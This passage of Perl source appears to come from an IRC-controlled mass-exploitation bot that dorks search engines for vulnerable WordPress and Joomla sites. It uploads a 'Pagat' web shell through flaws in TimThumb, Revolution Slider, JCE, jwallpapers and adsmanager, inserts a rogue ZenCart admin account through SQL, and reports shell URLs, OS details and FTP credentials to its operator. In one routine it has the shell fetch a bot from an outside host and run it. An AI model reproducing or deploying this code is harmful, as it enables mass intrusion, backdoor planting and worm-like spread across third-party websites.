waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"izito",$type); } exit; } } if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"onyet",$type); } exit; } } if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"askom",$type); } exit; } } if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"becak",$type); } exit; } } if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"bokep",$type); } exit; } } if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"searchnz",$type); } exit; } } } ###### EXPLOITING ####### sub rx_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rxlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $vuln = "http://".$site.$bug."?src=".$thumbshell; my $botis = "http://".$site.$bug."?src=".$botid; my $botxc = "http://".$site.$bug."?src=".$botxid; my @nbug = split(/\//,$bug); my $cek = &get_content($vuln); if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else { my $nick = $simpan; if ($cek =~ /Unable to open image/i){ &msg("$chan","$rxlogo4$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site "); my $pdir = $2; if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); } my $crut = "http://".$site."tmp/".$md5php; my $botc = "http://".$site.$nbug[0].$pdir.$md5bot; my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx; my $npath = "http://".$site."wp-includes/wp-script.php"; my $check = &get_content($crut."?clone");sleep(1); if ($check =~ /Pagat Shell/i){ my $safe = ""; my $os = ""; my $uid = ""; if ($check =~ m/SAFE_MODE: (.*?)<\/font>/) {$safe = $1;} if ($check =~ m/color=red>   (.*?)
/) {$os = $1;} if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;} my $crot = &get_content($npath);sleep(1); if ($crot =~ /Pagat Shell/i){ &msg("$admin","$rxlogo15$engine 4<9=4>9 HASIL COLI KANG 4<9=4>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$rxlogo15$engine 4<9=4>9 HASIL COLI KANG 4<9=4>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid "); } else { &msg("$admin","$rxlogo15$engine 4<9=4>9 HASIL COLI KANG 4<9=4>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$rxlogo15$engine 4<9=4>9 HASIL COLI KANG 4<9=4>9 13$nick 15 (SafeMode=$safe) (OS=$os) uid=$uid "); } &get_content($botc);sleep(1); &get_content($botpc);sleep(1); } } } exit; } if ($count == $num-1) { &msg("$chan","$rxlogo4$engine 12Finished 4for 12$dork "); } } } } sub timtest_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$timtestlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $vuln = "http://".$site.$bug."?src=".$thumbshell; my $botis = "http://".$site.$bug."?src=".$botid; my $botxc = "http://".$site.$bug."?src=".$botxid; my @nbug = split(/\//,$bug); my $cek = &get_content($vuln); if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else { my $nick = $simpan; if ($cek =~ /Unable to open image/i){ &msg("$chan","$timtestlogo4$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site "); my $pdir = $2; if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); } my $crut = "http://".$site."wp-content/themes/inspire/cache/".$md5php; my $botc = "http://".$site.$nbug[0].$pdir.$md5bot; my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx; my $npath = "http://".$site."wp-includes/wp-script.php"; my $check = &get_content($crut."?clone");sleep(1); if ($check =~ /Pagat Shell/i){ my $safe = ""; my $os = ""; my $uid = ""; if ($check =~ m/SAFE_MODE: (.*?)<\/font>/) {$safe = $1;} if ($check =~ m/color=red>   (.*?)
/) {$os = $1;} if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;} my $crot = &get_content($npath);sleep(1); if ($crot =~ /Pagat Shell/i){ &msg("$admin","$timtestlogo15$engine 4<9=4>9 HASIL COLI KANG 4<9=4>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$timtestlogo15$engine 4<9=4>9 HASIL COLI KANG 4<9=4>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid "); } else { &msg("$admin","$timtestlogo15$engine 4<9=4>9 HASIL COLI KANG 4<9=4>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$timtestlogo15$engine 4<9=4>9 HASIL COLI KANG 4<9=4>9 13$nick 15 (SafeMode=$safe) (OS=$os) uid=$uid "); } &get_content($botc);sleep(1); &get_content($botpc);sleep(1); } } } exit; } if ($count == $num-1) { &msg("$chan","$rxlogo4$engine 12Finished 4for 12$dork "); } } } } sub tim_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$timlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $vuln = "http://".$site.$bug."?src=".$thumbshell; my $botis = "http://".$site.$bug."?src=".$botid; my $botxc = "http://".$site.$bug."?src=".$botxid; my @nbug = split(/\//,$bug); my $cek = &get_content($vuln); if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else { my $nick = $simpan; if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md6php/i){ &msg("$chan","$timlogo4$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site "); my $pdir = $2; if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); } my $crut = "http://".$site.$nbug[0].$pdir.$md6php; my $botc = "http://".$site.$nbug[0].$pdir.$md5bot; my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx; my $npath = "http://".$site."wp-includes/wp-script.php"; my $check = &get_content($crut."?clone");sleep(1); if ($check =~ /Pagat Shell/i){ my $safe = ""; my $os = ""; my $uid = ""; if ($check =~ m/SAFE_MODE: (.*?)<\/font>/) {$safe = $1;} if ($check =~ m/color=red>   (.*?)
/) {$os = $1;} if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;} my $crot = &get_content($npath);sleep(1); if ($crot =~ /Pagat Shell/i){ &msg("$admin","$timlogo4$engine 4<12=4>12 sHeLL 4<12=4>12 ".$npath."4 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$timlogo4$engine 4<12=4>12 sHeLL 4<12=4>12 ".$npath."4 (SafeMode=$safe) (OS=$os) uid=$uid "); } else { &msg("$admin","$timlogo4$engine 4<12=4>12 sHeLL 4<12=4>12 ".$crut."4 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$timlogo4$engine 4<12=4>12 sHeLL 4<12=4>12 ".$crut."4 (SafeMode=$safe) (OS=$os) uid=$uid "); } &get_content($botc);sleep(1); &get_content($botpc);sleep(1); } } } exit; } if ($count == $num-1) { &msg("$chan","$timlogo4$engine 12Finished 4for 12$dork "); } } } } sub zen_query() { my $chan = $_[0]; my $url = $_[1]; my $test = $_[2]; my $engine = $_[3]; my $code = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B"; my $req = HTTP::Request->new(POST => $test); $req->content_type("application/x-www-form-urlencoded"); $req->content("query_string=".$code); my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(3); my $res = $ua->request($req); my $data = $res->as_string; if ( $data =~ /1 statements processed/i ) { &msg("$chan","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php "); &msg("$admin","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php "); } elsif ( $data =~ /Duplicate entry/i ) { &msg("$chan","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )"); &msg("$admin","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php "); } } sub thumb_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $vuln = "http://".$site.$bug."?src=".$thumbshell; my $botis = "http://".$site.$bug."?src=".$botid; my $botxc = "http://".$site.$bug."?src=".$botxid; my @nbug = split(/\//,$bug); my $cek = &get_content($vuln); if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else { my $nick = $simpan; if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md6php/i){ &msg("$chan","$thumblogo4$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site "); my $pdir = $2; if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); } my $crut = "http://".$site.$nbug[0].$pdir.$md6php; my $botc = "http://".$site.$nbug[0].$pdir.$md5bot; my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx; my $npath = "http://".$site."wp-includes/wp-script.php"; my $check = &get_content($crut."?clone");sleep(1); if ($check =~ /Pagat Shell/i){ my $safe = ""; my $os = ""; my $uid = ""; if ($check =~ m/SAFE_MODE: (.*?)<\/font>/) {$safe = $1;} if ($check =~ m/color=red>   (.*?)
/) {$os = $1;} if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;} my $crot = &get_content($npath);sleep(1); if ($crot =~ /Pagat Shell/i){ &msg("$admin","$thumblogo4$engine 4<12=4>12 sHeLL 4<12=4>12 ".$npath."4 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$thumblogo4$engine 4<12=4>12 sHeLL 4<12=4>12 ".$npath."4 (SafeMode=$safe) (OS=$os) uid=$uid "); } else { &msg("$admin","$thumblogo4$engine 4<12=4>12 sHeLL 4<12=4>12 ".$crut."4 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$thumblogo4$engine 4<12=4>12 sHeLL 4<12=4>12 ".$crut."4 (SafeMode=$safe) (OS=$os) uid=$uid "); } &get_content($botc);sleep(1); &get_content($botpc);sleep(1); } } } exit; } if ($count == $num-1) { &msg("$chan","$thumblogo4$engine 12Finished 4for 12$dork "); } } } } sub skyfashion_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$skyfashionlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$skyfashionlogo4$engine 9Finished 3for 9$dork "); } my $bx = "http://".$site."wp-admin/admin-ajax.php"; my $ua = LWP::UserAgent->new; $ua->timeout(5); my $exploit = $ua->post($bx, Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { my $check = $ua->get("http://".$site."wp-content/themes/skyfashion/advance/plugins/revslider/temp/update_extract/revslider/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/themes/skyfashion/advance/plugins/revslider/temp/update_extract/revslider/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$skyfashionlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$skyfashionlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$skyfashionlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$skyfashionlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$skyfashionlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub revslider_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$revsliderlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$revsliderlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-admin/admin-ajax.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { my $check = $ua->get("http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$revsliderlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$revsliderlogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$revsliderlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$revsliderlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$revsliderlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub obok_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oboklogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { } my $test = "http://".$site.$bug; my $coba = "http://".$site; if ($coba =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $hajarhome = $2; } my $shellz = "http://".$site."/images/stories/pagat.phtml"; my $shellz2 = "cruck://".$site."/images/stories/pagat.phtml"; my $crsmtp = "http://".$site."/images/stories/pagat.phtml?baca"; &pagat_cek_query($hajarhome); sleep(8); my $fuck ="http://".$site."/images/stories/pagat.gif"; my $cek = &get_content($fuck); if($cek =~ /GIF89aG/i){ &msg("$chan","$oboklogo12,2$engine 14ExpLoiting 4http://".$site." 7Loading. . . "); &pagat_cek_query2($hajarhome); my $fujce = &get_content($shellz); if ($fujce =~ /Pagat - Shell/) { &get_content($shellz."?cmd=curl+-C+-+-O+http://www.nawozyekologiczne.pl/mambots/sb.log%3Bperl+sb.log+irc.samarinda.biz%3Brm+sb.log"); my $safe = ""; my $os = ""; my $uid = ""; if ($fujce =~ m/SAFE_MODE :(.+?)<\/b>

new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); close($remote); } sub pagat_cek_query2() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="pagat.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aG'; $header16 = ""; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'pagat'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/pagat.gif","pagat.phtml"]}'; $header24 = "Content-Length: ".length($header25).""; # EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; close($remote); } sub ftp_connect { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $chan = $_[4]; my $engine = $_[5]; my $logo = $_[6]; my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { &msg("$admin","$oboklogo15$engine 9 [FTP] 15[ 4http://".$host." 15] [4 ".$user.":".$pass." 15]"); &msg("Pagat","$oboklogo15$engine 9 [FTP] 15[ 4http://".$host." 15] [4 ".$user.":".$pass." 15]"); } } sub revedit_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$reveditlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$reveditlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-admin/admin-ajax.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, Cookie => "", Content_Type => "form-data", Content => [action => "revedit_ajax_action", client_action => "update_plugin", update_file => ["revedit.zip"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { my $check = $ua->get("http://".$site."wp-content/themes/smartbox-theme/inc/modules/revslider/temp/update_extract/revslider/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/themes/smartbox-theme/inc/modules/revslider/temp/update_extract/revslider/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$reveditlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$reveditlogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$reveditlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$reveditlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$reveditlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub bazar_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$bazarlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$bazarlogo4$engine 9Finished 3for 9$dork "); } my $bx = "http://".$site."wp-admin/admin-ajax.php"; my $ua = LWP::UserAgent->new; $ua->timeout(5); my $exploit = $ua->post($bx, Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { my $check = $ua->get("http://".$site."wp-content/themes/bazar/theme/templates/sliders/revolution-slider/temp/update_extract/revslider/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/themes/bazar/theme/templates/sliders/revolution-slider/temp/update_extract/revslider/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$bazarlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$bazarlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$bazarlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$bazarlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$bazarlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub av_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$avlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$avlogo4$engine 9Finished 3for 9$dork "); } my $bx = "http://".$site."wp-admin/admin-ajax.php"; my $ua = LWP::UserAgent->new; $ua->timeout(5); my $exploit = $ua->post($bx, Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { my $check = $ua->get("http://".$site."wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$avlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$avlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$avlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$avlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$avlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 ".$test."15 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub plupload_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$pluploadlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$pluploadlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."index.php?option=com_jwallpapers&task=upload"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $shell = "pagat.jpg"; my $name = "pagat.php"; my $exploit = $ua->post($bx, [file => [$shell, => $name],name => $name],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /result/) { my $check = $ua->get("http://".$site."jwallpapers_files/plupload/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."jwallpapers_files/plupload/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$pluploadlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$pluploadlogo15$engine 4<9=4>4 sHeLL 4<9=4>5 $test12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$pluploadlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$pluploadlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$pluploadlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub adsmanager_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$adsmanagerlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$adsmanagerlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."index.php?option=com_adsmanager&task=upload&tmpl=component"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $shell = "pagat.jpg"; my $name = "pagat.php"; my $exploit = $ua->post($bx, [file => [$shell, => $name],name => $name],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /result/) { my $check = $ua->get("http://".$site."tmp/plupload/pagat.php")->content; if($check =~/
